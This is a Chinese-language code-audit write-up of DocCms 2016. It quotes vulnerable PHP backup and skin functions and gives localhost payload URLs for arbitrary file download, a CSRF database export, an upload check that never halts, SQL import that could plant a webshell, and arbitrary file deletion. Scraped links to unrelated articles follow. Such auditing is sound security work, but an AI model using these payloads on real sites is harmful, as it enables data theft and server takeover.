0x00 结构浏览

  按照代码审计的惯例,拿到这款cms之后首先浏览了一下目录结构,在基本了解之后,首先进入/index.php,这里包含了两个文件:/admini/config/qd-config.php和/loader/load.php,简单看了一下代码,没什么用,程序入口文件没有太大价值。转到后台/admini目录下,发现还有个/admin/index.php,打开阅读一下源码,没什么用,但是明确了这是一款比较硬核的cms,注释极少,程序可读性不是很高。/admin目录下还有一个/admin/controllers,从命名上就能看出这是一个比较重要的业务逻辑包,打开之后里面还有一个/admin/controllers/index.php,里面只有两个函数,还是没什么用。在这个目录下,还有一个文件夹为system,打开之后居然还有一个/admin/controllers/system/index.php....里面就俩函数,也没有有价值的信息。

0x01 任意文件下载

  虽然这一大堆index都没有用到,但是也帮助我们了解了这款cms的结构,所以我们直接从后台业务逻辑核心部分,也就是/admini/controllers/system入手,首先读一下bakup.php的源码,这个文件主要作用是管理数据库,里面有一个download函数疑似存在任意文件下载:

 function download()
{
global $request;
if(!empty($request['filename']))
{
file_down(ABSPATH.'/temp/data/'.$request['filename']);
}
else
{
echo '<script>alert("文件名不能为空!");window.history.go(-1);</script>';
}
}

  为了进一步确认可以下载的范围,跟读file_down函数:

 function file_down($file,$filename='')
{
if(is_file($file))
{
$filename = $filename ? $filename : basename($file);
$filetype = fileext($filename);
$filesize = filesize($file);
header('Cache-control: max-age=31536000');
header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
header('Content-Encoding: none');
//header('Content-Length: '.$filesize);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Type: '.$filetype);
readfile($file);
}
else
{
echo '<script>alert("文件不存在!");window.history.go(-1);</script>';
}
exit;
}

  可以看出这里没有做任何的过滤,构造payload:

http://127.0.0.1/doccms-2016/admini/index.php?m=system&s=bakup&a=download&filename=index.php

0x02 CSRF

  在这个文件里还有一个export函数:

 function export()
{
global $db,$request,$sizelimit,$startrow;
$tables=$request['tables'];
$sizelimit=$request['sizelimit'];
if($request['dosubmit'])
{
$fileid = isset($request['fileid']) ? $request['fileid'] : 1;
if($fileid==1 && $tables)
{
if(!isset($tables) || !is_array($tables))
echo "<script>alert('请选择要备份的数据表!');window.history.go(0);</script>";
$random = mt_rand(100000, 999999);
cache_write('bakup_tables.php', $tables);
}
else
{
if(!$tables = cache_read('bakup_tables.php'))
echo "<script>alert('请选择要备份的数据表!');window.history.go(-1);</script>";
}
$sqldump = '';
$tableid = isset($request['tableid']) ? $request['tableid'] - 1 : 0;
$startfrom = isset($request['startfrom']) ? intval($request['startfrom']) : 0;
$tablenumber = count($tables);
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1024; $i++)
{
$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
$startfrom = 0;
} if(trim($sqldump))
{
$sqldump = "#Realure.cn Created\n# --------------------------------------------------------\n\n\n".$sqldump;
$tableid = $i;
$random = isset($request['random']) ? $request['random'] : $random;
$filename = DB_DBNAME.'_'.date('Ymd').'_'.$random.'_'.$fileid.'.sql';
$fileid++; $bakfile = '../temp/data/'.$filename;
if(!is_writable('../temp/data/'))
message('数据无法备份到服务器!请检查 ./data 目录是否可写。', $forward);
file_put_contents($bakfile, $sqldump);
//echo 'wer';
//exit;
echo '<script>alert("备份文件'.$filename.'写入成功!");window.location.href="?m=system&s=bakup&a=export&sizelimit='.$sizelimit.'&tableid='.$tableid.'&fileid='.$fileid.'&startfrom='.$startrow.'&random='.$random.'&dosubmit=1";</script>';
}
else
{
cache_delete('bakup_tables.php');
echo '<script>alert("数据库备份完毕!");window.location.href="?m=system&s=bakup&a=export";</script>';
//message('数据库备份完毕!');
}
exit;
}
}

  不用看代码,光看输出就能看出来这是备份数据库的函数,但是代码审计总还是要看代码的,这个函数接收了用户提交的两个参数:tables、sizelimit,依据这两个参数导出数据库备份文件,没有验证referer和token,因此会存在CSRF漏洞,诱导管理员备份数据,结合之前的任意文件下载漏洞就可以轻松拿到数据库信息。payload:

http://127.0.0.1/doccms-2016/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据

0x03 可执行sql文件的上传

  这个文件的问题很多,几乎每个函数都可以利用,后面还有一个上传sql文件的函数:

 function uploadsql()
{
global $request;
$uploadfile=basename($_FILES['uploadfile']['name']);
if($_FILES['userfile']['size']>$request['max_file_size'])
echo '<script>alert("您上传的文件超出了2M的限制!");window.history.go(-1);</script>';
if(fileext($uploadfile)!='sql')
echo '<script>alert("只允许上传sql格式文件!");window.history.go(-1);</script>';
$savepath = ABSPATH.'/temp/data/'.$uploadfile;
if(move_uploaded_file($_FILES['uploadfile']['tmp_name'], $savepath))
{
echo '<script>alert("数据库SQL脚本文件上传成功!");window.history.go(-1);</script>';
}
else
{
echo '<script>alert("数据库SQL脚本文件上传失败!");window.history.go(-1);</script>';
}
}

  这里有一个代码逻辑漏洞,在代码的第7行和fileext()函数中希望验证后缀名,只有.sql文件才能上传,但是后面并没有exit,而是弹窗提示只允许上传sql格式文件,程序继续运行,这样我们就可以上传任意文件了,新建一个phpinfo,在数据恢复页面上传。

  除此之外,这里还有第二种利用方式,有一个数据库导入函数import:

 function import()
{
global $db,$request;
$pre=$request['pre'];
if($request['dosubmit'])
{
if($request['filename'] && fileext($request['filename'])=='sql')
{
$filepath = ABSPATH.'/temp/data/'.$filename;
if(!is_file($filepath))
echo '<script>alert("文件不存在!");window.history.go(-1);</script>';
$sql = file_get_contents($filepath);
sql_execute($sql);
echo '<script>alert("'.$filename.'中的数据已经成功导入到数据库!");window.history.go(-1);</script>';
}
else
{
$fileid = isset($request['fileid']) ? $request['fileid'] : 1;
$filename = $request['pre'].$fileid.'.sql';
$filepath = ABSPATH.'/temp/data/'.$filename;
if(is_file($filepath))
{
$sql = file_get_contents($filepath);//将整个文件读入一个字符串
sql_execute($sql);
$fileid++;
echo '<script>alert("数据文件'.$filename.'导入成功!");window.location.href="?m=system&s=bakup&a=import&pre='.$pre.'&fileid='.$fileid.'&dosubmit=1";</script>'; }
else
{
echo '<script>alert("数据库恢复成功!");window.location.href="?m=system&s=bakup&a=import";</script>';
}
}
}
}

  代码的18-28行读取.sql文件并且执行,如果我们自己上传的sql脚本带有一句话木马,在权限足够的情况下可以直接拿shell。

0x04 同目录任意文件删除

  这个文件搞完了,下一个文件是changeskin.php,里面有一个deleteFile函数:

 function deleteFile(){
global $request;
$dirPath = get_abs_skin_root().filter_submitpath( $request['dirPath'] );
if(is_file($dirPath)){
@unlink($dirPath);
exit('1::delete ok');
}else{
exit('0::Forbidden');
}
}

  里面调用了两个函数,继续跟读:

 function filter_submitpath($path)
{
$path= preg_replace('/[\.]{2,}/', '', $path);//去除 .. 禁止提交访问上级目录的路径
return preg_replace('/[\/]{2,}/', '/', $path);//校正路径
} function get_abs_skin_root()
{
return ABSPATH.'/'.SKINROOT.'/'.STYLENAME.'/';
}

  可以看出这里没有进行任何的过滤,可以删除同目录下的所有文件。

DocCms_2016 代码审计的更多相关文章

  1. PHP代码审计中你不知道的牛叉技术点

    一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实 ...

  2. 技术专题-PHP代码审计

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/24472674来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 一.前言 php代码审计如字面 ...

  3. 关于PHP代码审计和漏洞挖掘的一点思考

    这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...

  4. Kindeditor 代码审计

    <?php /** * KindEditor PHP * * 本PHP程序是演示程序,建议不要直接在实际项目中使用. * 如果您确定直接使用本程序,使用之前请仔细确认相关安全设置. * */ r ...

  5. 一个CMS案例实战讲解PHP代码审计入门

    前言 php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞. 1.环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建 审计环境 window ...

  6. php代码审计基础笔记

    出处: 九零SEC连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 --------------------------- ...

  7. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...

  8. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况 ...

  9. PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况

    0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...

随机推荐

  1. 第二阶段scrum-1

    1.整个团队的任务量: 2.任务看板: 会议照片: 产品状态: 注册登陆界面功能正在实装,消息收发功能正在制作 雷达界面已经完成.

  2. Spring AOP复习

    最近在翻<Spring In Action>Spring 实战这本书,重新了解了一下AOP的概念和思想并写了一个小Demo示例,记录在这里: 环境:intelliJ IDEA 2018.M ...

  3. SpringMVC:提交参数名与接收参数名问题

    1.提交的域名称和处理方法的参数名一致 提交数据 : http://localhost:8080/hello?name=111 处理方法 : @RequestMapping("/hello& ...

  4. JavaWeb之搭建自己的MVC框架(一)

    1. 介绍 MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,一种软件设计典范,用一种业务逻辑.数据.界面显示分离的 ...

  5. POJ 3970:Party

    Party Time Limit: 1000MS   Memory Limit: 65536KB   64bit IO Format: %I64d & %I64u Submit Status ...

  6. Java连载70-冒泡算法、选择算法

    一.冒泡排序 1.也就是依次选出最大的放在最后面 package com.bjpowernode.java_learning; ​ public class D70_1_BubbleSort { pu ...

  7. 专为前端开发者准备的15款优秀的Sublime Text插件

    Sublime Text 已成为了目前最流行的代码编辑器之一.它的反应速度.简单易用性以及丰富的插件生态,让众多前端开发者们为之倾倒. 为了帮助开发者们更便捷地使用 Sublime Text ,我们决 ...

  8. PES介绍(转载)

    PES: 1.1 PES介绍: PES--Packetized  Elementary Streams  (分组的ES),ES形成的分组称为PES分组,是用来传递ES的一种数据结构.PES流是ES流经 ...

  9. awk 中 RS,ORS,FS,OFS 区别与联系

    一,RS与ORS 1,RS是记录分隔符,默认的分隔符是\n,具体用法看下 [root@krlcgcms01 mytest]# cat test1     //测试文件 111 222 333 444 ...

  10. Lambder笔记

    记录Lambda语法(λ ,匿名函数)以及三个Python常见内置函数 形如:y=f(x)=x*x 使用lambda语法将对一个变量的运算抽象出来,如同f(),或是数学中的函数.关系.映射 f = l ...